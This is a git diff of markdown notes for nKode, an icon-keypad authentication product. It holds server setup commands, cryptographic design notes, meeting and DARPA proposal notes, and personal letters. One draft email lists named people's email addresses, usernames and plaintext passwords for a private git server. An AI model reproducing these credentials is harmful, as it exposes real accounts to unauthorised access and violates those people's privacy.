add_header X-Content-Type-Options nosniff; + add_header X-Frame-Options DENY; + add_header X-XSS-Protection "1; mode=block"; + + # Reverse proxy settings + location / { + proxy_pass http://:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } +} +``` + +### SSL Certs + +``` +sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout /etc/ssl/private/nginx-selfsigned.key \ + -out /etc/ssl/certs/nginx-selfsigned.crt \ + -subj "/CN=10.8.0.1" +``` + +`sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048` + +``` +sudo nginx -t +sudo systemctl reload nginx +``` \ No newline at end of file diff --git a/archive/nkode_tasks_before_marketing.md b/archive/nkode_tasks_before_marketing.md new file mode 100644 index 0000000..a1450e8 --- /dev/null +++ b/archive/nkode_tasks_before_marketing.md @@ -0,0 +1,18 @@ +# nKode Tasks Before Marketing + + +## TODO in todoist + +- sqlite cron job backup +- fail2ban +- logging and detailed errors +- Improve UX: remove example keypad, example what do to in set and confirm, fix bg color + +## TODO not in todoist +- Written Documentation at docs.nkode.tech +- Video Documentation on Youtube +- What should the user see when they log in? + +## DONE + +- Email Verification and Forgot Password diff --git a/archive/nkode_tutorial.md b/archive/nkode_tutorial.md new file mode 100644 index 0000000..6a074f4 --- /dev/null +++ b/archive/nkode_tutorial.md @@ -0,0 +1,184 @@ +# nKode Tutorial + +## nKode Keypad + +- nKode keypad contains keys +- Each key has icons +- Each icon belongs to a set and has an index value associated with it +- The position within the key is the set value +- When attributes are shuffled, they'll always remain in the same position within the key + (note: the set value can be obuscated from the client but we find it helpful to quickly find the attribute) + +## nKode Enrollment + +- user sets then confirms their nKode +- Set and Confirm are dipersion of each other and allow the server to infer the users nKode +- the users login has additional icons added to each to key to make it dispersion resistant +- After the user as selected their nKode through the set and confirms, + the server can infer the users selection since each key selection will only have one icons in common. +- The users nKode is enciphered, salted and hashed. + +## Dispersion + +- Two keypads are dispersion of each other if: +Kp1: Keypad 1 +Kp2: Keypad 2 + +for each key1 in Kp1: + for each key2 in Kp2: + iconsIntersection(key1, key2) <= 1 + + +## Dispersion Algo + +- Convert a Keypad view into a matrix view + - each row is key and each column is a set +- Fisher Yates the keys i.e. the rows in the matrix +- Fisher Yates an identity matrix equivalent to the number of keys +- The shuffled permutation is used to rotate the columns + + +## Dispersion Resistance + +- Dispersion is only possible if {number of icons per key} <= {number keys in the keypad} +- If there are more icons per key than keys, it makes it difficult to phish for a users nkode + + +## Cipher Keys + +#### attribute key + +- randomly generated array of unsigned integars +- array of length {numb of keys} * {number of attributes per key} +- xored with ss-attr to give each user a unique + +#### passcode key + +- randomly generated array of unsigned integars +- array of length {max nKode length} +- xored with final user passcode + +#### set key + +- used to recover users nkode set values +- array of unsigned integars +- each elemenet in the array is a random number XOR'ed with the set value of the users nKode +- so `for set_key_i in user_set_key` + `set_key_i = user_passcode_set_i ^ random_set_key_i` + +#### mask key + +- used to recover users nkode set values +- array of random unsigned integars + +#### server-side attributes (ss-attr) and sets (ss-set) + +- Each icon has a server side attribute. +- The icon and the ss-attr are indexed to the same place in an array. +- The dispersion and shuffle operation are applied to the index array and the index array is applied to the icon and ss-attr +- ss-attrs are randomly generated permutation of unsigned ints (or byte arrays of any length for extra security) + +### Encipher and Hash nKode Passcode +passcode = index values of the selected icons infered in set/comfirm +user_attrs = arr_xor(ss_attr, user_attr_key) +passcode_attr = [user_attrs[idx] for idx in passcode] + +ciphered_passcode = arr_xor(passcode_attr, user_passcode_key) + +// optional sha256 if ciphered_passcode is more than 72 bytes +passcode_digest = sha256(ciphered_passcode) + +hashed_passcode = bcrypt(passcode_digest) + +### Enicphering nKode Set + +nKode mask is used to recover the users nKode +1. set_key_i = (set_rand_numb_i ^ set_val_i) +2. mask_key_i = mask_rand_numb_i + +passcode = index values of the selected icons infered in set/comfirm +// recall ss_set array is an order list +set_idx = get_set_value(passcode) +user_set_keys = [set_key[idx] for idx in set_idx] +user_set_vals = [ss_sets[idx] for idx in set_idx] +mask = arr_xor(user_set_val, user_set_keys, mask_key) + +- mask_i = mask_key_i ^ padded_passcode_server_set_i ^ set_key_i +- mask_i = mask_rand_num_i ^ set_val_i ^ set_rand_numb_i ^ set_val_i +- mask_i = mask_rand_num_i ^ set_rand_numb_i # set_val_i is cancelled out + +#### nKode Validation +// set_val_i = mask_i ^ set_key_i ^ mask_key_i +// selected_keys the keys the user selects +recovered_set_vals = arr_xor(mask, set_key, mask_key) +user_keypad = get_user_keypad(username) + +presumed_password = get_pressumed_passcode(user_key, selected_keys, recovered_set_val) + +if is_valid_passcode(presumed_password, hashed_passcode) + return LOGIN_SUCCESS +else + return LOGIN_FAIL + + +## nKode Login Shuffle + +- After a successful login, the users keypad is shuffled in a two step process: + 1. the keys are randomly shuffled + 2. half the sets are randomly shuffled +- We've found this works best for xyz reason and we're also working on simulations to find a probablity curve for number of overserveration before an adversery can crack an nkode + + +## nKode Login + +- When a user request their nkode keypad, the server sends a list of svgs in the order they should be displayed +- The Gen2 demo implementation works a bit different it sends the svgs indexed in order from 0-total_numb_of_attr along with an index array for how the svgs should be ordered + - this is a legacy from the gen 1 keypad but it helps to make the implemntation more concrete so we'll use this legacy +- The frontend organized the svgs into keys and displays them. +- The user selects keys for their nkode and their key selection is sent back to the server for validation + + +## Preventing User Enumeration + +- This isn't applied in the demo application +- We can prevent a threat actor from enumerating users. + - if a valid email is entered into the login for a user that dne, we can create a ghost keypad and have it behave as if it were a real user. + - if there are too many "failed nkode attempts" we lock the non-existing user out. +- We can prevent timing attacks by either mocking the real control flow or setting a 1 or 2 sec response delay from the time the login request was recieved thereby completely elimiating timing attacks + +## Renew +Renew changes user ciphers, user salt, ss_attr, and ss_set. +This is import in the event of a partial database hack or leak. +An admin or cron job can run the renew with any frequency (daily, weekly, monthly) +Users are aware of this process. +Nothing changes for them. + +### Three Step Renew +Renew has three phases + +1. Server-Side Attribute Renewal: ss_attr and ss_set values are replaced with new values +2. Intermdiate User Renewal: every user goes through an intermediate phase before full Renewal +3. Full User Renewal: The user's first successful login completes the renewal. User has gets new salt, and cipher + +#### Server-Side Attribute Renewal + +old_ss_attr, old_ss_set = get_ss_vals() +renew_ss_vals() // new randomly generated values +new_ss_attr, new_ss_set = get_ss_vals() + +xor_ss_attr = arr_xor(old_ss_attr, new_ss_attr) +xor_ss_set = arr_xor(old_ss_set, new_ss_set) + +#### Intermdiate User Renewal + +all_users = get_all_users() +for user in all_users: + user.renew = True // This flags the server to complete phase 3, full user renewal + user.set_key = xor_lists(user.set_key, xor_ss_set) // recall user.set_key = rand_num ^ old_ss_set. this operation cancels out old_ss_set and replaces it with new_ss_set + user.attribute_key = xor_lists(user.attribute_key, xor_ss_attr) // recall user.attribute_key ^ old_ss_attr are the user's nkode ss attributes so when we + +#### Full User Renewal + +After a successful login user keys are reset as if the user was signing up for the first time + + diff --git a/drafts/03.31.2025.md b/drafts/03.31.2025.md new file mode 100644 index 0000000..0aec4cb --- /dev/null +++ b/drafts/03.31.2025.md @@ -0,0 +1,30 @@ +Hi All, + +I've emailed each of you login credential to my git server. I've added everyone to the [pynkode](https://git.infra.nkode.tech/dkelly/pynkode) and [evilnkode](https://git.infra.nkode.tech/dkelly/evilnkode) repos. Once you've logged in, you'll have access to the [tabletop discussion](https://git.infra.nkode.tech/dkelly/pynkode/src/branch/main/docs/tabletop-discussion.md), diagrams, and code. + +If anyone else needs to be added or you need privilege escalation, send me an email. + +-Donovan + +depoyster1@me.com +ddepoyster kD6854xp +cmw0206@auburn.edu + cwhittinghill 8o93xX4S + fzk0016@auburn.edu + fkandah 4H9F53f3 + jds0225@auburn.edu + jsherk f7F69bU9 + tzs0062@auburn.edu + tsimpson 786WaQf6 + frank.brice@sesol.net + fbrice NaE2g955 + brian.finnan@sesol.net + bfinnan 53tTf493 + +Documentation and Code Access + +You have access to: +https://git.infra.nkode.tech/dkelly/evilnkode +https://git.infra.nkode.tech/dkelly/pynkode + +To view these repositories, sign in [here](https://git.infra.nkode.tech/user/login?redirect_to=%2f) with this username and password: diff --git a/drafts/04.28.2025.md b/drafts/04.28.2025.md new file mode 100644 index 0000000..ef108dc --- /dev/null +++ b/drafts/04.28.2025.md @@ -0,0 +1,5 @@ +Hey Brooks. I think a lot of people (Craig, Jonathan, David and Brian) get confused by nKode’s length compared to a password. Assuming a 6 key 9 icon per key keypad, I think we can say an nKode is more secure than a password that’s double its length. Here’s the rationale: + +A 4-icon nKode has 23-bits of entropy. NIST’s minimum requirement nKode can be half the length of a user created password. (i.e. 6-icon nKode a user creates a memorized password, it must be at least 8-characters in length. Since we can’t calculate the entropy of a user created password, we assume every character a user adds to their password adds 2.5 bits of entropy (20/8 = 2.5). Every nKode icon adds 5.75-bits of entropy (log2(54) = 5.75).  Therefore, we can say an nKode can be half the length of a user created password. (i.e. 6-icon nKode can replace a 12-character password) + +I think this statement makes for good market because it's easy to understand, like "1000 songs in your pocket" from Apple with ipod. diff --git a/meetings/3.21.25 Meeting with Jonathan.md b/meetings/3.21.25 Meeting with Jonathan.md new file mode 100644 index 0000000..9673ebe --- /dev/null +++ b/meetings/3.21.25 Meeting with Jonathan.md @@ -0,0 +1,20 @@ +Agenda +- Discuss Table-top scenario format: I’ve never done a table-top discussion. I’d like to go over the format. +- Discuss specific scenarios: If you have some specific scenarios you’ve been thinking about, I’d like to go over them. This will give Brooks and I some time to think about solutions and bring them for a deeper discussion next week. + +The +- identify attack surface + +Nist 800-63b + +specific scenarios +- dispersion attack +- nKode observations (from shoulder surfing to screen recording) +- key replay attack +- nKode only authentication; what happens nKode is used email?; how do you recover from a lost nkode? +- can create icons that look the same if they've been compress? Can you mess with advisories ability to record a screen, compress it and send it over the wire +- Can we design non space filling shape? what if the shapes float around in the key? what if they're animated + +Make a powerpoint with the gate analogy +how will we engage them to think about architectural design? +can we relax MFA requirements? (nkode make credential stuffing impossible) diff --git a/meetings/Chat with Tim Tucker about nKode.md b/meetings/Chat with Tim Tucker about nKode.md new file mode 100644 index 0000000..1d8b7e3 --- /dev/null +++ b/meetings/Chat with Tim Tucker about nKode.md @@ -0,0 +1,8 @@ +# Chat with Tim Tucker about nKode + +- no more anaconda it requires a license +- do we need a docker license? --- it does but it's not that bad +- what about all the other stuff like gitea? --- gitea is open sources +- Can we open source nkode with license? --- maybe +- customers want isolation. they don't want share machines +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes \ No newline at end of file diff --git a/meetings/Talk with Tim Tucker about nKode.md b/meetings/Talk with Tim Tucker about nKode.md new file mode 100644 index 0000000..75258dd --- /dev/null +++ b/meetings/Talk with Tim Tucker about nKode.md @@ -0,0 +1,7 @@ +- no more anaconda +- do we need a docker license? +- what about all the other stuff like gitea? +- Can we open source nkode with license? +- customers want isolation. they don't want share machines +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes \ No newline at end of file diff --git a/meetings/m&q-review-042225.md b/meetings/m&q-review-042225.md new file mode 100644 index 0000000..a82e31e --- /dev/null +++ b/meetings/m&q-review-042225.md @@ -0,0 +1,14 @@ +# McCalister and Quinn Review 042225 + +## Quantifiable nKode Metric with Minimum nKode Policy and Keypad +- Probability of guess a 4 character nKode approx. 1 in 8 million. +- 4 charactor nKode is as secure as an 8 charator password. +- Takes on average over 6 recorded observations to crack an nKode; takes one observation to crack a password. Note for brook physical vs digital) +- Passwords need to be changed every 90 days. Warfighters never need to change their nKode. nKode salt, hash, and keys change fequently (as often as every day) without user intervention or knowledge. +- nKode can't be attacked with dictionary attack... + + +## Comments and Questions +- Lets mentions Bill Platte in our slides +- Craig and Jonathan should add something to the script... dicuss with David +- diff --git a/meetings/mcallister_and_quinn.md b/meetings/mcallister_and_quinn.md new file mode 100644 index 0000000..626d44f --- /dev/null +++ b/meetings/mcallister_and_quinn.md @@ -0,0 +1,10 @@ +# McAlliser And Quinn Metting Notes (04/18/25) + +DARPA expect 70% of things to fail. + +DARPA wants numbers like we've improved X%. +- four character nKode meeting NIST's minimum 8 character user created passcode. + +Need to emphisize easy of use. Jonathan said warfighters have a difficult time with authentication so they leave the phones open so they don't have to reauthenticate. +https://www.darpaconnect.us/eris + diff --git a/meetings/next auburn meeting.md b/meetings/next auburn meeting.md new file mode 100644 index 0000000..d5f2162 --- /dev/null +++ b/meetings/next auburn meeting.md @@ -0,0 +1,30 @@ +# Next Auburn Meeting + +Hi Auburn Team, + +Last meeting, Jonathan mentioned that you guys can do some white/grey box testing. +We're in agreement that that is a great starting place. + +## How many key-selection observations are required to crack an nKode under a given policy configuration? + + +### Policy Parameters + +1. iconComplexity: +The total number of unique icons available in the system. +(Defines the diversity of visual elements used in the passcode.) +2. passcodeLength: +The number of icons in a passcode. +(Determines the sequence length required for authentication.) +3. maxFailedAttempts: +The number of incorrect login attempts allowed before an account is locked. +(Controls brute-force mitigation by limiting retries.) +4. keypadSize: +The total number of keys displayed on the keypad. +(Impacts usability and potential guesswork complexity.) +5. iconsPerKey: +The number of icons assigned to each key. +(Specifies the visual density per key, affecting recognition difficulty.) +6. keypadHashLimit: +The number of unique keypad layouts stored before old hashes are rotated out. +(Ensures keypads are randomized across logins while limiting memory usage.) \ No newline at end of file diff --git a/personal/9-19-25-anniversary.md b/personal/9-19-25-anniversary.md new file mode 100644 index 0000000..d00781b --- /dev/null +++ b/personal/9-19-25-anniversary.md @@ -0,0 +1,12 @@ +Anna, + +This is a special year for us. +We've had our first baby. You've blossomed from being an amazing wife to being a beautiful mother to our son. +Your so on top of all things Eli. +He is so lucky to have you. +This anniversary is special for another reason too. +It's our first anniverary where we've been married longer than not. +You've stuck by me an supported me through a lot the pass five year from Mabelvale, to Arcanum, and now Orthodoxy. +Half a decade later and I love you more than ever. + +Happy anniversary my love. \ No newline at end of file diff --git a/personal/mothers_day_2025.md b/personal/mothers_day_2025.md new file mode 100644 index 0000000..2202d56 --- /dev/null +++ b/personal/mothers_day_2025.md @@ -0,0 +1,4 @@ +You've blossomed throughout our relationship but I think most of all with motherhood. +The love you pour into Eli and fulfillment you get from him is so beautiful. +I so grateful to you for everything done, from getting his room together, researching all the things we'd need, getting all his cloths, (all while being a savvy saver) to all the late night pumping. +You are an amazing mother and Eli is lucky to have you as his mother. diff --git a/projects/arcanum/1.16.26 Tax Slayer.md b/projects/arcanum/1.16.26 Tax Slayer.md new file mode 100644 index 0000000..e69de29 diff --git a/projects/arcanum/DARPA-ERIS/10-16-25 DARPA ERIS Feedback.md b/projects/arcanum/DARPA-ERIS/10-16-25 DARPA ERIS Feedback.md new file mode 100644 index 0000000..6ae4ec1 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/10-16-25 DARPA ERIS Feedback.md @@ -0,0 +1,9 @@ + +Questions: +- What's the scoring threshold?: There is no threshold + +Hit on The Auburn name: +I'm an ex Lockheed martin dev + + + Explain what we need the money for and why darpa \ No newline at end of file diff --git a/projects/arcanum/DARPA-ERIS/Advancing the SotA slides.md b/projects/arcanum/DARPA-ERIS/Advancing the SotA slides.md new file mode 100644 index 0000000..6f2a7d2 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/Advancing the SotA slides.md @@ -0,0 +1,80 @@ +## Slide 1: How nKode Addresses the Topic Area + +- Topic Area: Advanced technologies for resilience, efficiency, and effectiveness in strategic systems +- Focus: Critical infrastructure and military C2 systems (strategic, command, operational, tactical edges) +- nKode's Fit: Enhances authentication resilience in contested/low-bandwidth environments +- Benefits: Improves efficiency via intuitive, low-cognitive-load access; boosts effectiveness by preventing bypasses +- Alignment: Supports Zero Trust, edge computing, and secure ops in dynamic conditions + +**Speaker Notes:** This slide directly ties nKode to the ERIS topic area from the DARPA announcement, emphasizing improved resilience (e.g., credential reuse/keylogger immunity over unencrypted networks), efficiency (faster logins under stress without keyboards), and effectiveness (reduced errors, mission continuity for Tactical Assault Kits). It addresses vulnerabilities in C2 systems across edges, enabling information superiority against AI-driven threats like cognitive electronic warfare. This positions nKode as a breakthrough for national security, aligning with ERIS's goal of curating disruptive solutions for rapid acquisition. + +## Slide 2: Contribution to DARPA's Mission + +- DARPA Mission: Create technological surprise for U.S. national security +- nKode's Role: Reinvents "something you know" authentication with keyboard-less, AI-generated icons +- Surprise Element: credential reuse, and keylogger-immune; operable over unencrypted/low-bandwidth networks +- Impact: Adversaries surprised by resilience against credential harvesting in contested environments +- Benefit: Protects missions, lives, and infrastructure from AI-driven cyber threats + +**Speaker Notes:** DARPA's mission, as stated in the ERIS announcement, is about technological surprise. nKode contributes by obsoleting text-based passwords, providing an asymmetric advantage in cyber-resilient warfare. For example, in tactical edges with limited bandwidth, it enables secure access to Tactical Assault Kits without traditional vulnerabilities. This aligns with ERIS goals of rapid acquisition for disruptive solutions, fostering information superiority against nation-state threats like cognitive electronic warfare. + +## Slide 3: How the Problem is Addressed Today + +- Current Methods: Long, complex passwords (12-16 characters) rotated every 60-90 days +- Vulnerabilities: Prone to reuse, keyloggers, shoulder surfing; high cognitive load under stress +- Limitations: Requires keyboards (impractical in tactical gear); needs secure channels for MFA +- Issues: 95 hacks per second globally; bypass in high-risk environments +- Alternatives: Biometrics (facial/iris/fingerprint) – fail in duress, dirt, or low light + +**Speaker Notes:** Today, authentication relies on outdated standards per NIST/DoD, leading to credential reuse and exploitation. Passwords can be easily compromised via reuse, especially at the tactical edge where bandwidth is low and stress is high. Biometrics help but are constrained in field scenarios (e.g., gloves, environmental factors). This results in mission risks, as warfighters may bypass controls. nKode addresses these deficiencies head-on. + +## Slide 4: What's New in nKode's Approach + +- Novel Features: Shuffling icons on a patented virtual keypad; AI-generated unique icons per user +- Comparisons to Current Practices: + - Vs. Passwords: No text input; exceeds NIST entropy (1 in 8-24M guess rate for 4 icons) + - Vs. Biometrics: No hardware dependency; works under pressure/duress +- Backend: ChaCha20 CSPRNG for secure shuffling over unsecure networks +- Resilience: Immune to keyloggers, replay attacks; auto-rotates without user action + +**Speaker Notes:** What's new is the dynamic, visual paradigm: icons shuffle per login, mapped to tokenized values via backend cipher. Unlike static passwords or biometrics, nKode prevents reuse (unique icons) and operates in low-bandwidth environments. This compares favorably to current practices by flipping the usability-security trade-off – easier to remember yet more secure. It's TRL 5-validated, per our prior ERIS feedback, and advances SoTA by closing attack vectors like shoulder-surfing (6.5 observations needed to crack vs. 1). + +## Slide 5: Unique Insights for Advancing SoTA + +- Insight: Security must be intuitive to ensure adoption; visual memory outperforms text-based +- Advancement: Reduces friction in MFA's "something you know" factor (unchanged since 1961) +- Differentiation: Dispersion-resistant enrollment; attribute renewal for proactive defense +- Why Transformative: Enables Zero Trust in contested edges; scales to commercial (banking/healthcare) +- Evidence: Meets/exceeds DoD password standards while lowering errors + +**Speaker Notes:** Our unique insight is that stronger security via ease-of-use leads to reliable adoption, improving mission outcomes. Humans recall images better than complex passwords, reducing cognitive load for warfighters. This advances SoTA by integrating AI icons with cryptographic primitives, resisting AI-driven attacks. Unlike current static inputs, nKode's randomized interface ensures no two logins map the same – a paradigm shift for resilience in strategic systems. + +## Slide 6: Foreseen Barriers + +- Adoption Risk: Authentication changes are high-risk; companies hesitant to be first adopters +- Pitch History: Positive feedback from dozens (e.g., FIS, banks) over 10 years, but no implementations +- Technical: Integration with legacy DoD systems; user training; device compatibility (rugged tablets) +- Evolving Threats: Advanced AI shoulder-surfing; scaling icon generation +- Mitigation: Leverage ERIS for rapid pathways; partner with McCrary Institute for validation + +**Speaker Notes:** Barriers include institutional inertia – despite excitement from fintech like FIS (Fidelity National Information Services), no one wants to pioneer due to perceived risks. In DoD, integrating with C2 systems or ATACs could face hurdles. We'll address via human factors expertise (as per prior feedback) and field testing. Evolving threats like AI exploits require ongoing R&D, but nKode's design inherently resists them. + +## Slide 7: Why nKode Will Succeed + +- Market Validation: Independent survey by User Insight – 52% prefer nKode (vs. 28% passwords) +- High Acceptance: 17% above "very high" benchmark (35%) +- Team Strength: Veterans with cyber ops experience; TRL 5 proven +- Dual-Use Potential: Defense (tactical edge) + Commercial +- Evidence: Exceeds benchmarks; low friction deployment + +**Speaker Notes:** Success is backed by data: User Insight's survey showed exceptional preference (52%), far above norms, indicating strong usability. Our team's expertise (Army/Navy vets) and partnerships ensure execution. nKode's success lies in its intuitive design – users remember one nKode for all, with auto-rotation. This will drive adoption, per ERIS goals, leading to safer operations. + +## Slide 8: Proposed Plan/Strategy if Funded + +- Phase 1: Adapt commercial app for tactical edge; integrate with ATACs/Tactical Assault Kits +- Phase 2: Field validation/testing in simulated environments; address barriers (training/integration) +- Phase 3: Advance to TRL 6-7; deploy OpenID Connect for DoD systems +- Timeline: 12-18 months; focus on low-bandwidth resilience +- Outcomes: Prototype for warfighters; pathway to commercialization + +**Speaker Notes:** If funded, we'll pivot our existing commercial app (with OpenID/OAuth support) to defense needs. Develop a glove-friendly version for tactical edges, sans biometrics. Strategy: Collaborate with McCrary/Forge Institutes for demos and integration. Budget for AI enhancements and testing. This aligns with ERIS's rapid acquisition, transitioning from idea to prototype for enhanced strategic system resilience. \ No newline at end of file diff --git a/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback 12-17-25.md b/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback 12-17-25.md new file mode 100644 index 0000000..b3cc0fc --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback 12-17-25.md @@ -0,0 +1,57 @@ +Defining the Problem & Current State of the Art + +Evaluator 1: Superior out of Superior "The submission addresses the challenge of reliable and secure user authentication in denied or sophisticated threat environments, particularly on edge devices. Current state-of-the-art capabilities and regrets are clearly identified." + +Evaluator 2: Superior out of Superior "The submission does an excellent job of describing the problem of authentication - especially is use cases involving edge4 devices under stressful conditions. The submission further does a very nice job describing the state-of-the art, i.e. passwords and biometric, and highlighting the challenges associated with these approaches." + +Evaluator 3: Highly Satisfactory out of Superior "Summary: Current password approaches to system security presents vulnerabilities Strengths: - Traditional “passwords” are recognized as being prone to hacking and abuse. This is particularly the case where “strong” passwords are not enforced. - “Lazy” users frequently re-use passwords across many sites. - Password expiration creates a burden on users to update and memorize frequent changes to many protected sites, making. Areas to improve: - Many approaches to include random generation of “strong” passwords tied to personal user credentials, dual/multi-factor authentication, biometrics and tokens/CAC cards have helped mitigate traditional PW risks. - The significance of specific tactical (or strategic) system vulnerabilities to AI-orchestrated cyberattacks or other threats was only generally addressed. + + + +Advancing the State of the Art + +Evaluator 1: Satisfactory out of Superior "The submission presents a solution to advance the state-of-the-art of authentication by employing a pictograph-based system that is encrypted using an industry-standard stream cypher (ChaCha20). The presented system has several attractive features that simplify reliable authentication in the field, where there are challenges with standard biometric techniques. The white space chart clearly indicates the presented system’s capability benefits compared to legacy password approaches. The submission, **however, does not present any technology development of the system beyond scaling up the number of icons, so there is no apparent DARPA role."** + +Evaluator 2: Marginal out of Superior "I struggled with this rating because I think the submission presents an innovative solution to the authentication problem, I just think DARPA may not be the right customer given where they are in the development cycle. It looks like the technology is largely developed - **the submission does not do a good job of describing the technical challenges DARPA funding will help them overcome, beyond adapting it for tactical edge devices and integration."** + +Evaluator 3: Satisfactory out of Superior "Summary: The submission advocates for a new paradigm for user authentication that is “more secure, intuitive and scalable” than traditional passwords. +Strengths: +- Innovative approach to site protection using AI +- generated icons making “passwords” easier to remember, even across many different applications and domains and preventing PW re-use. +- The visual UI is patented and customizable, with development customized based on operational feedback from fintech, defense and cybersecurity. +- The submission suggest alignment to ESIR’s topic area for advanced technologies for improved resilience, efficiency and effectiveness of strategic systems. +**Areas to improve:** +- The submission suggests that biometrics are inferior to the presented technology but often provides highly effective authentication in tactical and other environments. +- The technology is indicated to be TRL 5, with the greatest risks to adoption being integration, training, and “evolving AI threats”. These could be addressed as DOTMLPF gaps verses a need additional transformative research. +- Research goals of the submission lack definition and are generally focused on field trials verses discovery. + + + +Team Capability (Key Personnel Vision, Expertise, and Experience) + +Evaluator 1: Superior out of Superior "A very capable project team includes university cyber center personnel, professors with expertise in mathematics and computer science, and members with military experience. The team has already developed and successfully demonstrated a prototype product." + +Evaluator 2: Superior out of Superior "The presented team has excellent credentials covering all the relevant expertise required to make the solution a reality - cybersecurity, math, software, operational expertise, etc." + +Evaluator 3: Highly Satisfactory out of Superior "Summary: The submitter is a small business affiliated with two not-for-profits focused on cybersecurity. Strengths: - The team has already developed the technology and has IP protection for it. - Partnership provide additional depth of expertise and infrastructure to support development. - The submitting team is indicated to have substantial expertise and experience in cybersecurity, intelligence operations, red teaming, mathematical frameworks, and software development. Areas to improve: - Additional expertise or partnerships with military end-users that would support trials of the technology would strengthen the submission. - Project vision is not indicated. + + + +Defense and/or Commercial Market Use Case/Impact + +Evaluator 1: Highly Satisfactory out of Superior "The simplified and robust authentication process would improve user experience and enhance security for military users in a denied or cyber-threat environment." + +Evaluator 2: Highly Satisfactory out of Superior "I can imagine a wide variety of military and commercial use cases where this technology would be be very beneficial, especially in a contested environment with operators under stress. The main reason I did not rate as superior is because I am concerned there might be some military applications where it would be difficult to see the small pictograph icons." + +Evaluator 3: Highly Satisfactory out of Superior "Summary: The submission indicates broad applicability for the solution, to include tactical edge authentication and any commercial application where traditional PW authentication is employed. Strengths: - A range of defense use cases are indicated including tactical edge authentication, focused on the TAK application. - Commercial applications are suggested to be vast, with healthcare and banking as two exemplars. - Application of the solution of have the impact of more secure systems that are easier for end-users to access. Areas to improve: - None noted. + + +## Coaches Feedback (Mike Cooper) + +- make the demo at the end bigger. push it forward to advancing the state of the art +- testomonials go a long way (go and ask soldiers what they'd use). maybe emphasize User Insight. Discuss operational gap with biometrics +- they don't know what we're going to do with the money. (should borrow from NSF) +- add a slide that says "advancing the state of the art?" +- we'll likely get 2 of the three evaluators +- make sure we are at a 4 but not above. say we're going to take their money and get us to a TRL 6 +- Don't be afraid be technical \ No newline at end of file diff --git a/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback.md b/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback.md new file mode 100644 index 0000000..76096a9 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/DARPA ERIS Feedback.md @@ -0,0 +1,3 @@ +DoD specific usecase: gas mask, face mask, +- Need to mark as a resubmission, it's in a drop down menu +- diff --git a/projects/arcanum/DARPA-ERIS/DARPA ERIS Team.md b/projects/arcanum/DARPA-ERIS/DARPA ERIS Team.md new file mode 100644 index 0000000..13546c5 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/DARPA ERIS Team.md @@ -0,0 +1,20 @@ +The nKode project team is a unified collaboration between Arcanum Technology LLC and Auburn University’s McCrary Institute for Cyber and Critical Infrastructure Security, blending Arcanum's proprietary innovation with McCrary's elite cybersecurity, intelligence, and computational expertise. + +Brooks Brown, as the inventor and Co-founder of nKode, provides the foundational vision and architectural expertise essential for driving this innovative authentication solution forward. His role as Chief Development Architect positions him uniquely to guide the project's technical direction. + +Donovan Kelly, with over seven years of software development experience across defense, healthcare, media, and authentication sectors, including prior work as a Space Ground Software Engineer at Lockheed Martin, is ideally suited to lead the technical implementation of nKode. As CTO of Arcanum Technology LLC, he is actively developing nKode as a cutting-edge multi-factor authentication (MFA) system. + +Dr. Craig Whittinghill serves as the Deputy Director for Applied Research and Services at the McCrary Institute. As a Navy Veteran with 29 years of service as a Naval Intelligence Officer, he brings extensive leadership in high-stakes cyber and intelligence operations. + +Jonathan Sherk is a Principal Cybersecurity Research Engineer at Auburn University’s McCrary Institute. He leads a USDA grant on rural cybersecurity and co-leads Alabama’s State and Local Cybersecurity Grant Program. As an NSA-certified, CYBERCOM-accredited Red Team Lead, he has performed adversarial assessments on EUDs and Army products at the Threat Systems Management Office. His military service includes Army Special Operations in the 112th Signal Battalion and 7th Special Forces Group + +Dr. Luke Oeding, an Associate Professor in the Department of Mathematics and Statistics at Auburn University, contributes advanced algebraic and computational expertise critical for nKode's underlying mathematical frameworks. His research focuses on applications of algebraic geometry and representation theory to tensors, quantum information processing, signal processing, and collaborative navigation. + +Dr. Farah Kandah, an IEEE Senior Member and Associate Professor in the Department of Computer Science and Software Engineering at Auburn University, as well as a faculty affiliate with the McCrary Institute, provides specialized knowledge in cybersecurity, networking, and emerging technologies like IoT and quantum credentials. His research encompasses distributed computing, computer security and reliability, computer communications (networks), trust management in wireless mesh networks, and more. + +- **Brooks Brown**: Chief Development Architect and Co-founder at Arcanum Technology, inventor of nKode. +- **Donovan Kelly**: Chief Technology Officer at Arcanum Technology. +- **Dr. Craig Whittinghill**: Deputy Director for Applied Research and Services at McCrary Institute. +- **Jonathan Sherk**: Principal Cybersecurity Research Engineer at McCrary Institute. +- **Dr. Luke Oeding**: Associate Professor in Mathematics and Statistics at Auburn University. +- **Dr. Farah Kandah**: Associate Professor in Computer Science and Software Engineering at Auburn University, faculty affiliate at McCrary Institute. \ No newline at end of file diff --git a/projects/arcanum/DARPA-ERIS/DARPA ERIS nKode Solution.md b/projects/arcanum/DARPA-ERIS/DARPA ERIS nKode Solution.md new file mode 100644 index 0000000..c211321 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/DARPA ERIS nKode Solution.md @@ -0,0 +1,29 @@ + +Submission Title (less than 128 characters) +Abstract description (1,500 Characters) + +Topic Area: Developing advanced technologies for improved resilience, efficiency, and effectiveness of strategic systems. This topic area supports technologies for critical infrastructure and military command-and-control systems (networks and applications across strategic, command, operational, and tactical edges). + +Advancing the state of the art. +Detail why the proposed solution is likely to advance the current state of the art within the solution's relevant field(s). DARPA’s mission is to create technological surprise for United States national security; + +How does your solution contribute to that mission? +nKode reinvents "something you know" authentication (unchanged since 1961) with a keyboard-less, AI-generated icon system that's phishing-resistant, keylogger-immune, and operable over unencrypted/low-bandwidth networks. 